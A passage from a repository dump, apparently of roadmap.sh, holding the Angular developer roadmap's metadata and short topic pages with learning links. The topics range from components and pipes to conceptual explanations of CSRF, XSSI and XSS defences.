\"#2b78e4\"\n      },\n      \"source\": \"Xxyx3uzy5TpNhgR1IysMN\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"9ISvaaJ815_cr_KW9vQhT\",\n      \"targetHandle\": \"x2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-Xxyx3uzy5TpNhgR1IysMNw2-9ISvaaJ815_cr_KW9vQhTx2\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rYJq59Q0YdfK6n3x740Em\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"x91jWP81oCTeVEwzX8FbK\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-rYJq59Q0YdfK6n3x740Emw2-x91jWP81oCTeVEwzX8FbKx1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"rYJq59Q0YdfK6n3x740Em\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"GV_zWF6rSWg5bqgiXhOEf\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-rYJq59Q0YdfK6n3x740Emx2-GV_zWF6rSWg5bqgiXhOEfw1\",\n      \"selected\": false,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/angular/angular.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/angular.json'\npdfUrl: '/pdfs/roadmaps/angular.pdf'\nrenderer: 'editor'\norder: 4\nbriefTitle: 'Angular'\nbriefDescription: 'Step by step guide to become a Angular Developer in 2025'\ntitle: 'Angular Developer'\ndescription: 'Everything that is there to learn about Angular and the ecosystem in 2025.'\nhasTopics: true\ndimensions:\n  width: 968\n  height: 3330\nschema:\n  headline: 'Angular Developer Roadmap'\n  description: 'Learn how to become a Angular Developer with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/angular.png'\n  datePublished: '2023-01-05'\n  dateModified: '2023-01-20'\nseo:\n  title: 'Angular Developer Roadmap: Learn to become a Angular developer'\n  description: 'Community driven, articles, resources, guides, interview questions, quizzes for angular development. Learn to become a modern Angular developer by following the steps, skills, resources and guides listed in this roadmap.'\n  keywords:\n    - 'guide to becoming a angular developer'\n    - 'angular developer roadmap'\n    - 'angular roadmap'\n    - 'angular roadmap 2025'\n    - 'become angular developer'\n    - 'angular developer skills'\n    - 'angular skills test'\n    - 'skills for angular development'\n    - 'learn angular development'\n    - 'what is angular'\n    - 'angular quiz'\n    - 'angular interview questions'\n    - 'future of angular development'\n    - 'angular learning path'\n    - 'angular tutorial'\n    - 'angular for beginners'\n    - 'how to learn angular'\n    - 'angular fundamentals'\n    - 'angular developer career'\n    - 'frontend developer angular'\n    - 'typescript for angular'\n    - 'angular architecture 2025'\nrelatedRoadmaps:\n  - 'frontend'\n  - 'javascript'\n  - 'react'\n  - 'vue'\n  - 'nodejs'\nrelatedQuestions:\n  - 'javascript'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/accessibility@VNG9DdXlS6R1OJ6Lrn4Lt.md",
    "content": "# Accessibility\n\nThe web is used by a wide variety of people, including those who have visual or motor impairments. A variety of assistive technologies are available that make it much easier for these groups to interact with web-based software applications. Also, designing an application to be more accessible generally improves the user experience for all users.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility](https://angular.dev/best-practices/a11y)\n- [@article@Learn Accessibility](https://web.dev/learn/accessibility/)\n- [@article@Angular a11y: 11 tips on how to make your apps more accessible](https://angularindepth.com/posts/1152/angular-a11y-11-tips-on-how-to-make-your-apps-more-accessible)"
  },
  {
    "path": "src/data/roadmaps/angular/content/analogjs@kauQofxCmpktXPcnzid17.md",
    "content": "# AnalogJS\n\nAnalogJS is a full-stack meta-framework powered by Vite and Nitro for Angular. Analog supports both Server-Side Rendering (SSR) and Static Site Generation (SSG). Analog uses file-based routing and supports API (server) routes.\n\nVisit the following resources to learn more:\n\n- [@official@AnalogJS](https://analogjs.org/)\n- [@official@AnalogJS Documentation](https://analogjs.org/docs)\n- [@opensource@analogjs/analog](https://github.com/analogjs/analog)\n- [@video@Robin Goetz - AnalogJS - The Vite powered Angular meta-framework](https://www.youtube.com/watch?v=BSgpvP4eAGk)\n- [@video@Full-stack Angular (SSR, file-based routing, + more) with AnalogJS](https://www.youtube.com/watch?v=VSCXOTCJpiI)\n- [@video@Is AnalogJS good enough for my blog site?](https://www.youtube.com/watch?v=xTzEDQULo6s)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/angular-and-history@hpShWwL0M57ZAzqkB4I8t.md",
    "content": "# Angular and History\n\nAngular is a TypeScript-based open-source front-end web framework developed and maintained by Google. It is used for building dynamic, single-page web applications (SPAs). Angular provides comprehensive tools, including dependency injection, data binding, routing, and testing, to create robust and scalable web applications.\n\nVisit the following resources to learn more:\n\n- [@official@What is Angular?](https://angular.dev/overview)\n- [@official@Understanding Angular](https://angular.io/guide/understanding-angular-overview)\n- [@article@Getting Started with Angular](https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Frameworks_libraries/Angular_getting_started)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/angular-architecture@DE3cMpeRYuUPw2ADtfS-3.md",
    "content": "# Angular Architecture\n\nAngular follows a modular architecture pattern, dividing the application into distinct modules, components, services, and other elements, which enhances code organization and maintainability. The key building blocks include modules, which are containers grouping related components, services, directives, and other elements to ensure proper encapsulation and reusability. Components are the building blocks of Angular applications, representing parts of the user interface with associated logic, consisting of templates, styles, and a class defining behavior. Services encapsulate reusable business logic, data manipulation, and API communication, enabling data and functionality sharing across components.\n\nVisit the following resources to learn more:\n\n- [@official@Angular Coding Style Guide](https://angular.dev/style-guide)\n- [@article@The Ultimate Guide to Angular Architecture](https://angulardive.com/blog/the-ultimate-guide-to-angular-architecture-best-practices-for-efficient-coding-with-angular-framework/)\n- [@article@Modern Architectures with Angular Part 1: Strategic design with Sheriff and Standalone Components](https://www.angulararchitects.io/en/blog/modern-architectures-with-angular-part-1-strategic-design-with-sheriff-and-standalone-components/)\n- [@article@Optimizing the architecture of large web applications with Angular](https://albertobasalo.medium.com/optimizing-the-architecture-of-large-web-applications-with-angular-79d03b01a92b)\n- [@article@Angular Architecture Concepts and Patterns](https://www.bigscal.com/blogs/frontend/angular-architecture-concepts-and-patterns/)\n- [@article@Top 10 Angular Architecture Mistakes](https://angularexperts.io/blog/top-10-angular-architecture-mistakes)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/angular-cli@4YSk6I63Ew--zoXC3xmrC.md",
    "content": "# Angular CLI\n\nThe Angular CLI is a command-line interface tool that you use to initialize, develop, scaffold, and maintain Angular applications directly from a command shell. we can install angular latest CLI using the following command:\n\n`npm install -g @angular/cli`\n\nVisit the following resources to learn more:\n\n- [@official@CLI Reference](https://angular.dev/cli)\n- [@official@The Angular CLI](https://angular.dev/tools/cli)\n- [@video@Angular CLI - Setup](https://www.youtube.com/watch?v=mZnzX3J5XKI)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/animation@rYJq59Q0YdfK6n3x740Em.md",
    "content": "# Animation\n\nAngular's animation system is built on CSS functionality, which means you can animate any property that the browser considers animatable. This includes positions, sizes, transforms, colors, borders, and more.\n\nVisit the following resources to learn more:\n\n- [@official@Animation](https://angular.dev/guide/animations)\n- [@article@Angular Animations - A Beginner's Guide](https://www.angularminds.com/blog/angular-animations-a-beginners-guide)\n- [@opensource@Angular Animations Explorer](https://github.com/williamjuan027/angular-animations-explorer)\n- [@article@In-Depth guide into animations in Angular](https://angularindepth.com/posts/1285/in-depth-guide-into-animations-in-angular)"
  },
  {
    "path": "src/data/roadmaps/angular/content/aot-compilation@MwtM1UAIfj4FJ-Y4CKDsP.md",
    "content": "# AoT Compilation\n\nAngular applications require a compilation process before they can run in a browser. The Angular ahead-of-time (AOT) compiler converts your Angular HTML and TypeScript code into efficient JavaScript code during the build phase before the browser downloads and runs that code. Compiling your application during the build process provides a faster rendering in the browser.\n\nVisit the following resources to learn to more:\n\n- [@official@Ahead-of-time (AOT) compilation](https://angular.dev/tools/cli/aot-compiler)\n- [@opensource@Angular Compiler Output](https://github.com/JeanMeche/angular-compiler-output)\n- [@article@Understanding Angular's ahead of time compliation](https://blog.nashtechglobal.com/understanding-angulars-ahead-of-time-aot-compilation/)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/attribute-binding@FgsSyM6To7irpbivtOLEE.md",
    "content": "# Attribute Binding\n\nAttribute binding in Angular helps you set values for attributes directly. With attribute binding, you can improve accessibility, style your application dynamically, and manage multiple CSS classes or styles simultaneously.\n\nVisit the following resources to learn more:\n\n- [@official@Attribute Binding](https://angular.dev/guide/templates/attribute-binding)\n- [@article@What is difference between binding to attribute and binding to property in Angular?](https://stackoverflow.com/questions/76967327/what-is-difference-between-binding-to-attribute-and-binding-to-property-in-angul)"
  },
  {
    "path": "src/data/roadmaps/angular/content/attribute-directives@xvwby0FTdIolRrV2j88fY.md",
    "content": "# Attribute Directives\n\nChange the appearance or behavior of DOM elements and Angular components with attribute directives.\n\nThe most used attribute directives are:\n\n- ngClass\n- ngStyle\n- ngModel\n\nVisit the following resources to learn more:\n\n- [@official@Attribute Directives](https://angular.dev/guide/directives/attribute-directives)\n- [@article@Angular Attribute Directive](https://www.scaler.com/topics/angular/angular-attribute-directive/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/attributes@0FvH7KPs9ag02QkD1HEJ-.md",
    "content": "# Attributes\n\nBuilding accessible web experience often involves setting Accessible Rich Internet Applications (ARIA) attributes to provide semantic meaning where it might otherwise be missing. Use attribute binding template syntax to control the values of accessibility-related attributes.\n\nVisit the following resources to learn more:\n\n- [@official@Accessibility Attributes](https://angular.dev/best-practices/a11y#accessibility-attributes)\n- [@article@ARIA HTML](https://web.dev/learn/accessibility/aria-html/)\n- [@article@Comprehensive accessibility strategies for Angular apps leveraging aria-label for dynamic content](https://yasikahivin.medium.com/comprehensive-accessibility-strategies-for-angular-apps-leveraging-aria-label-for-dynamic-content-fdf114834317)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/build-environments@Ax-s_xw3FO3Ocv-AnLbQD.md",
    "content": "# Build Environments\n\nYou can define different named build configurations for your project, such as `development` and `production`, with different defaults. Each named configuration can have defaults for any of the options that apply to the various builder targets, such as `build`, `serve`, and `test`. The Angular CLI can replace files for each environment if you pass a `--configuration` flag with the named configuration when running a CLI command.\n\nVisit the following resources to learn more:\n\n- [@official@Build Environments](https://angular.dev/tools/cli/environments#using-environment-specific-variables-in-your-app)\n- [@article@Building an Angular application in various environments using Angular CLI and server](https://medium.com/yavar/building-an-angular-application-in-various-environments-using-angular-cli-and-server-18f94067154b)"
  },
  {
    "path": "src/data/roadmaps/angular/content/case@cHC2MH50CbUSMRZV4QGJI.md",
    "content": "# @case\n\nIf no `@case` matches the `@switch` condition and there is no `@default` block, nothing is shown.  Otherwise, the content inside the `@case` that matches the condition will be displayed.\n\nVisit the following resources to learn more:\n\n- [@official@\\@switch](https://angular.dev/guide/templates/control-flow#switch-block---selection)\n- [@article@Angular @switch: Complete Guide](https://blog.angular-university.io/angular-switch/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/change-detection@_-mTs_FMeob-ZGK-bb3j-.md",
    "content": "# Change detection\n\nChange detection is the process through which Angular checks to see whether your application state has changed, and if any DOM needs to be updated. At a high level, Angular walks your components from top to bottom, looking for changes. Angular runs its change detection mechanism periodically so that changes to the data model are reflected in an application’s view. Change detection can be triggered either manually or through an asynchronous event\n\nVisit the following resources to learn more:\n\n- [@official@Runtime Performance Optimization](https://angular.dev/best-practices/runtime-performance)\n- [@official@ChangeDetectionStrategy](https://angular.dev/guide/components/advanced-configuration#changedetectionstrategy)\n- [@video@4 Runtime Performance Optimizations ( Change detection )](https://www.youtube.com/watch?v=f8sA-i6gkGQ)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/changedetection@uYHy2yhtTm6fQkKpYx3lU.md",
    "content": "# changeDetection\n\nThe change-detection strategy to use for this component. When a component is instantiated, Angular creates a change detector, which is responsible for propagating the component's bindings. The strategy is one of:\n\n- `ChangeDetectionStrategy.OnPush` sets the strategy to CheckOnce (on demand).\n- `ChangeDetectionStrategy.Default` sets the strategy to CheckAlways.\n\nVisit the following resources to learn more:\n\n- [@official@Advanced Component Configuration](https://angular.dev/guide/components/advanced-configuration#changedetectionstrategy)\n- [@official@Component - API](https://angular.dev/api/core/Component#changeDetection)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/cli-builders@TeWEy9I-hU6SH02Sy2S2S.md",
    "content": "# CLI Builders\n\nA number of Angular CLI commands run a complex process on your code, such as building, testing, or serving your application. The commands use an internal tool called `Architect` to run CLI builders, which invoke another tool (bundler, test runner, server) to accomplish the desired task. Custom builders can perform an entirely new task or to change which third-party tool is used by an existing command.\n\nVisit the following resources to learn more:\n\n- [@official@CLI Builders](https://angular.dev/tools/cli/cli-builder)\n- [@video@Angular Builders – Creating Custom Builder from Scratch](https://www.youtube.com/watch?v=QbDkDLnXAZE)\n- [@opensource@Angular Builders](https://github.com/just-jeb/angular-builders)"
  },
  {
    "path": "src/data/roadmaps/angular/content/code-coverage@bqA2bxPcZrqQ-6QE-YDK1.md",
    "content": "# Code Coverage\n\nThe Angular CLI can run unit tests and create code coverage reports. Code coverage reports show you any parts of your code base that might not be properly tested by your unit tests.\n\nVisit the following resources to learn more:\n\n- [@official@Code Coverage](https://angular.dev/guide/testing/code-coverage)\n- [@article@Measuring Code Coverage](https://testing-angular.com/measuring-code-coverage/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/combination@IgUHqfVhiGpwxT9tY8O88.md",
    "content": "# Combination\n\nRxJS combination operators merge multiple observables into a single one using various strategies. Key operators include: `Merge` (emits items from all sources as they arrive), `Concat` (emits items from sources sequentially, one after another), `Zip` (pairs emissions from sources based on index), `CombineLatest` (emits based on the latest values from all sources whenever any source emits), `WithLatestFrom` (combines the value of one observable with the latest values of others when the first observable emits), and `ForkJoin` (emits the last value from each source only after all sources complete).\n\nVisit the following resources to learn more:\n\n- [@official@The RxJS Library](https://v17.angular.io/guide/rx-library)\n- [@official@Merge](https://www.learnrxjs.io/learn-rxjs/operators/combination/merge)\n- [@official@Concat](https://www.learnrxjs.io/learn-rxjs/operators/combination/concat)\n- [@official@Zip](https://www.learnrxjs.io/learn-rxjs/operators/combination/zip)\n- [@official@CombineLatest](https://www.learnrxjs.io/learn-rxjs/operators/combination/combineLatest)\n- [@official@WithLatestFrom](https://www.learnrxjs.io/learn-rxjs/operators/combination/withLatestFrom)\n- [@official@ForkJoin](https://www.learnrxjs.io/learn-rxjs/operators/combination/forkJoin)"
  },
  {
    "path": "src/data/roadmaps/angular/content/common-pipes@i2taHzQ5KLHjkkpbH4Ytd.md",
    "content": "# Pure Pipes\n\nAngular provides built-in pipes for typical data transformations, including transformations for internationalization (i18n), which use locale information to format data. The following are commonly used built-in pipes for data formatting:\n\n- DatePipe: Formats a date value according to locale rules.\n- UpperCasePipe: Transforms text to all upper case.\n- LowerCasePipe: Transforms text to all lower case.\n- CurrencyPipe: Transforms a number to a currency string, formatted according to locale rules.\n- DecimalPipe: Transforms a number into a string with a decimal point, formatted according to locale rules.\n- PercentPipe: Transforms a number to a percentage string, formatted according to locale rules.\n- AsyncPipe: Subscribe and unsubscribe to an asynchronous source such as an observable.\n- JsonPipe: Display a component object property to the screen as JSON for debugging.\n\nVisit the following resources to learn more:\n\n- [@official@Pipes](https://angular.dev/guide/pipes)\n- [@article@Pipes in Angular](https://medium.com/@aqeelabbas3972/pipes-in-angular-6a871589299d)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/communication@19c7D-fWIJ3vYFT6h8ZfN.md",
    "content": "# Communication\n\nAngular components can communicate with each other using `@Input()` and `@Output()` decorators. These decorators facilitate data exchange between parent and child components.\n\n- **@Input()**: This decorator allows a parent component to pass data to a child component, enabling the child to receive and use the data.\n- **@Output()**: This decorator allows a child component to emit events to a parent component, enabling the parent to respond to changes or actions within the child component.\n\nVisit the following resources to learn more:\n\n- [@official@Inputs](https://angular.dev/guide/components/inputs)\n- [@official@Outputs](https://angular.dev/guide/components/outputs)\n- [@official@Model Inputs](https://angular.dev/guide/signals/model)\n- [@official@Custom events with outputs](https://angular.dev/guide/components/outputs)\n- [@video@Non-Related Component Communication | Angular Component & Directives](https://www.youtube.com/watch?v=aIkGXMJFTzM)"
  },
  {
    "path": "src/data/roadmaps/angular/content/complex-sequences@Unjknmb4b2LY-nUVvvF7_.md",
    "content": "# Complex Sequences\n\nAngular lets you animate coordinated sequences, such as an entire grid or list of elements as they enter and leave a page. You can choose to run multiple animations in parallel, or run discrete animations sequentially, one following another.\n\nThe functions that control complex animation sequences are:\n\n- `query()`: Finds one or more inner HTML elements.\n- `stagger()`: Applies a cascading delay to animations for multiple elements.\n- `group()`: Runs multiple animation steps in parallel.\n- `sequence()`: Runs animation steps one after another.\n\nVisit the following resources to learn more:\n\n- [@official@Complex Sequences](https://angular.dev/guide/animations/complex-sequences)\n- [@video@Angular Animations: Animating multiple items in parallel](https://www.youtube.com/watch?v=RPdR7HzNQIw)"
  },
  {
    "path": "src/data/roadmaps/angular/content/component-anatomy@Mp056kNnwsRWeEXuhGPy-.md",
    "content": "# Component Anatomy\n\nAngular components are the foundational building blocks of Angular applications, designed to encapsulate both the UI and\nthe business logic.\n\nEvery component must have:\n\n- A TypeScript class with behaviors\n- An HTML template\n- A CSS selector\n\nVisit the following resources to learn more:\n\n- [@official@Anatomy of a Component](https://angular.dev/guide/components)\n- [@official@Anatomy of a Component - Interactive Tutorial](https://angular.dev/tutorials/learn-angular/1-components-in-angular)"
  },
  {
    "path": "src/data/roadmaps/angular/content/component-bindings@cXVy1lx2XqY_j8gxz-y60.md",
    "content": "# Testing component bindings\n\nAngular processes all data bindings once for each JavaScript event cycle, from the root of the application component tree through all child components. Data binding plays an important role in communication between a template and its component, and is also important for communication between parent and child components.\n\nVisit the following resources to learn more:\n\n- [@official@Component](https://angular.dev/guide/components)\n- [@official@Basics of Testing Components](https://angular.io/guide/testing-components-basics)\n- [@official@Component Testing Scenarios • Angular](https://angular.dev/guide/testing/components-scenarios)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/component-lifecycle@nCpfj_35ZvW-NTygg06XZ.md",
    "content": "# Lifecycle hooks\n\nA component instance has a lifecycle that starts when Angular instantiates the component class and renders the component view along with its child views. The lifecycle continues with change detection, as Angular checks to see when data-bound properties change, and updates both the view and the component instance as needed. The lifecycle ends when Angular destroys the component instance and removes its rendered template from the DOM. Directives have a similar lifecycle, as Angular creates, updates, and destroys instances in the course of execution.\n\nVisit the following resources to learn more:\n\n- [@official@Component Lifecycle](https://angular.dev/guide/components/lifecycle)\n- [@article@The Life Cycle Hooks of Angular](https://blog.logrocket.com/angular-lifecycle-hooks/)\n- [@article@Angular Lifecycle Hooks — Everything you need to know](https://medium.com/@sinanozturk/angular-component-lifecycle-hooks-2f600c48dff3)\n- [@feed@Explore top posts about Angular LifeCycle Hooks](https://dev.to/search?utf8=%E2%9C%93&q=angular+hook)"
  },
  {
    "path": "src/data/roadmaps/angular/content/component-templates@0dYWO_Zvh9J5_6cRjRjvI.md",
    "content": "# Testing component templates\n\nWith a component template , you can save and reuse component processes and properties and create components from them; template-based components inherit the template's properties and process.\n\nVisit the following resources to learn more:\n\n- [@official@Component Testing Scenarios](https://angular.dev/guide/testing/components-scenarios)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/components@kGnKzCkQCNFEdgCBRtNuW.md",
    "content": "# Angular Components\n\nComponents are the main building block for Angular applications. Each component consists of:\n\n- An HTML template that declares what renders on the page\n- A TypeScript class that defines the behavior\n- A CSS selector that defines how the component is used in a template\n- Optionally, CSS styles applied to the template\n\nVisit the following resources to learn more:\n\n- [@official@Anatomy of a Component](https://angular.dev/guide/components)\n- [@official@Composing with Components in Angular](https://angular.dev/essentials/components)\n- [@video@Standalone Components in Angular](https://www.youtube.com/watch?v=x5PZwb4XurU)\n- [@feed@Explore top posts about Angular](https://app.daily.dev/tags/angular?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/configuration@dbAS-hN1hoCsNJhkxXcGq.md",
    "content": "# Configuration\n\nThe configuration of routes in an Angular application involves defining route mappings in an array and providing these routes to the Angular router.\n\nVisit the following resources to learn more:\n\n- [@official@Router Reference - Configuration](https://angular.dev/guide/routing/router-reference#configuration)\n- [@official@Routing Overview](https://angular.dev/guide/routing)"
  },
  {
    "path": "src/data/roadmaps/angular/content/containers@0s-QhN5aZh2F3tLJFKEyR.md",
    "content": "# Containers\n\nSome Angular Material UI components cannot take children, such as an input, so you need to use container elements to customize the UI component.  \n\nVisit the following resources to learn more:\n\n- [@official@Using Containers for Native Elements](https://angular.dev/best-practices/a11y#using-containers-for-native-elements)"
  },
  {
    "path": "src/data/roadmaps/angular/content/contentchild@oQl9etjoHiU2JgxieUOEH.md",
    "content": "# ContentChild\n\nContent queries retrieve results from the elements in the component's content— the elements nested inside the component in the template where it's used.\n\nVisit the following resources to learn more:\n\n- [@official@Content Queries - Signal](https://angular.dev/guide/signals/queries#content-queries)\n- [@official@Content Queries](https://angular.dev/guide/components/queries#content-queries)\n- [@official@contentChild - API](https://angular.dev/api/core/contentChild)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/control-flow@VzvB_bads057YtG4ST4a2.md",
    "content": "# Control Flow\n\nAngular templates support control flow blocks that let you conditionally show, hide, and repeat elements.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in Control Flow](https://angular.dev/guide/templates/control-flow)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/control-value-accessor@m5dgKgUR3ZqI9sBAzToev.md",
    "content": "# Control Value Accessor\n\nDefines an interface that acts as a bridge between the Angular forms API and a native element in the DOM. Implement this interface to create a custom form control directive that integrates with Angular forms.\n\nVisit the following resources to learn more:\n\n- [@official@ControlValueAccessor](https://angular.dev/api/forms/ControlValueAccessor)\n- [@article@Mastering Angular Control Value Accessor: A guide for Angular Developer](https://hackernoon.com/mastering-angular-control-value-accessor-a-guide-for-angular-developer)\n- [@article@Angular Custom Form Controls](https://blog.angular-university.io/angular-custom-form-controls/)"
  },
  {
    "path": "src/data/roadmaps/angular/content/creating-components@ex8FOKrUlbu4MuEq2czyW.md",
    "content": "# Creating Components\n\nYou can either use Angular CLI to create the Angular components or create it manually.\n\nVisit the following resources to learn more:\n\n- [@official@Build your first Angular App](https://angular.dev/tutorials/first-app)\n- [@official@Components](https://angular.dev/essentials/components)\n- [@official@Angular CLI - ng generate components](https://angular.dev/guide/components)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/creating-libraries@A1mYMg7cbcj6p_VkDf-Tz.md",
    "content": "# Creating Libraries\n\nIf you have developed features that are suitable for reuse, you can create your own libraries. These libraries can be used locally in your workspace, or you can publish them as npm packages to share with other projects or other Angular developers. Putting code into a separate library is more complex than simply putting everything in one application. It requires more of an investment in time and thought for managing, maintaining, and updating the library. This complexity can pay off when the library is being used in multiple applications.\n\nVisit the following resources to learn more:\n\n- [@official@Creating Libraries](https://angular.dev/tools/libraries/creating-libraries)\n- [@official@File Structure: Library project files](https://angular.dev/reference/configs/file-structure#library-project-files)\n- [@opensource@NG Packagr](https://github.com/ng-packagr/ng-packagr)"
  },
  {
    "path": "src/data/roadmaps/angular/content/creating-modules@9YhTXybJw2gszlqFeBtW3.md",
    "content": "# Creating Modules\n\nCreating modules in Angular helps organize your application into manageable, cohesive units. Each module can encapsulate related components, directives, pipes, and services. Here's a detailed guide on how to create and use modules in Angular.\n\nVisit the following resources to learn more:\n\n- [@official@Feature Modules](https://angular.dev/guide/ngmodules/feature-modules)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/cross-site-request-forgery@Z1DZBbFI4oU6-KQg3wqMm.md",
    "content": "# Cross-site Request Forgery\n\nCross-site request forgery, also known as one-click attack or session riding and abbreviated as CSRF or XSRF, is a type of malicious exploit of a website or web application where unauthorized commands are submitted from a user that the web application trusts. There are many ways in which a malicious website can transmit such commands; specially-crafted image tags, hidden forms, and JavaScript fetch or XMLHttpRequests, for example, can all work without the user's interaction or knowledge. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.\n\nVisit the following resources to learn more:\n\n- [@official@Cross Site Request Forgery](https://angular.dev/best-practices/security#cross-site-request-forgery)\n- [@official@HttpClientXsrfModule](https://angular.dev/api/common/http/HttpClientXsrfModule)\n- [@article@Prevent Cross-Site Request Forgery (XSRF/CSRF) Attack](https://learn.microsoft.com/en-us/aspnet/core/security/anti-request-forgery?view=aspnetcore-9.0)\n- [@video@Configure the CSRF Protection With Spring Security 6 and Angular](https://www.youtube.com/watch?v=tgjLsEmxcuY)\n- [@video@Angular Security - CSRF prevention using Double Submit Cookie](https://www.youtube.com/watch?v=lZfF4MOTeNM)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/cross-site-script-inclusion@zd7YJGlcMFNFbsKUiW_XC.md",
    "content": "# Cross-site Script Inclusion\n\nCross-site script inclusion, also known as JSON vulnerability, can allow an attacker's website to read data from a JSON API. The attack works on older browsers by overriding built-in JavaScript object constructors, and then including an API URL using a `<script>` tag. Angular's HttpClient library recognizes this convention and automatically strips the string \")]}',\\n\" from all responses before further parsing.\n\nVisit the following resources to learn more:\n\n- [@official@Cross Site Script Inclusion](https://angular.dev/best-practices/security#cross-site-script-inclusion-xssi)\n- [@article@XSSI Cross Site Script Inclusion](https://book.hacktricks.xyz/pentesting-web/xssi-cross-site-script-inclusion)\n- [@article@Testing for Cross Site Script Inclusion](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/13-Testing_for_Cross_Site_Script_Inclusion)"
  },
  {
    "path": "src/data/roadmaps/angular/content/cross-site-scripting@umUX4Hxk7srHlFR_Un-u7.md",
    "content": "# Cross-site Scripting\n\nCross-site scripting (XSS) enables attackers to inject malicious code into web pages. Such code can then, for example, steal user and login data, or perform actions that impersonate the user.\nThis has been one of the biggest web security vulnerabilities for over a decade. To systematically block XSS bugs, Angular treats all values as untrusted by default. When a value is inserted into the DOM from a template binding, or interpolation, Angular sanitizes and escapes untrusted values.\n\nVisit the following resources to learn more:\n\n- [@official@Preventing cross-site Scripting (XSS)](https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)\n- [@article@Mitigate cross-site scripting (XSS)](https://web.dev/articles/strict-csp)"
  },
  {
    "path": "src/data/roadmaps/angular/content/custom-directives@7GUvTMVzfdVEDBOz-tHUT.md",
    "content": "# Directive\n\nDirectives are the functions that will execute whenever the Angular compiler finds them. Angular Directives enhance the capability of HTML elements by attaching custom behaviors to the DOM.\n\nFrom the core concept, Angular directives are categorized into three categories: Attribute Directives, Structural Directives, and Component Directives.\n\nVisit the following resources to learn more:\n\n- [@official@Built-in directives](https://angular.dev/guide/directives#)\n- [@articleDirectives in Angular: A Beginner's Guide](https://medium.com/@drissi.dalanda8/demystifying-directives-in-angular-a-beginners-guide-fdb6e199b80a)\n- [@video@Create a custom directive video for Beginners](https://www.youtube.com/watch?v=AoN56g6UAsE)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/custom-pipes@BOYXGfULJRiP-XOo_lNX3.md",
    "content": "# Impure Pipes\n\nPipes to transform strings, currency amounts, dates, and other data for display. Pipes are simple functions in template expressions to accept an input value and return a transformed value. Pipes are helpful because you can use them throughout your application while only declaring each pipe once. For example, you would use a pipe to show the date as April 15, 1988, rather than the raw string format.\n\nVisit the following resources to learn more:\n\n- [@official@Custom Pipes for New Transforms](https://angular.dev/guide/pipes/transform-data)\n- [@video@Create a custom pipe video for Beginners](https://www.youtube.com/watch?v=P2587FN4Y0w)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/custom-validators@kxRtLsB3y_th8j-HjmJgK.md",
    "content": "# Custom Validators\n\nCustom validators in Angular are functions that allow you to define your own validation logic for form controls. They are used when the built-in validators (like `required`, `minLength`, etc.) do not meet your specific validation requirements. A custom validator is a function that returns either `null` if the form control is valid, or an object that represents the validation error if it is invalid. This object typically contains a key-value pair where the key is the error name and the value is a boolean or some details about the error.\n\nLearn more from the following resources:\n\n- [@official@Defining custom validators](https://angular.dev/guide/forms/form-validation#defining-custom-validators)\n- [@video@How to create custom validator in Angular 17](https://youtu.be/3TwmS0Gdg9I?si=1w4EX-HifJ70-CxT)\n"
  },
  {
    "path": "src/data/roadmaps/angular/content/data-binding@5vZkiH7HDwONIABLfNJ06.md",
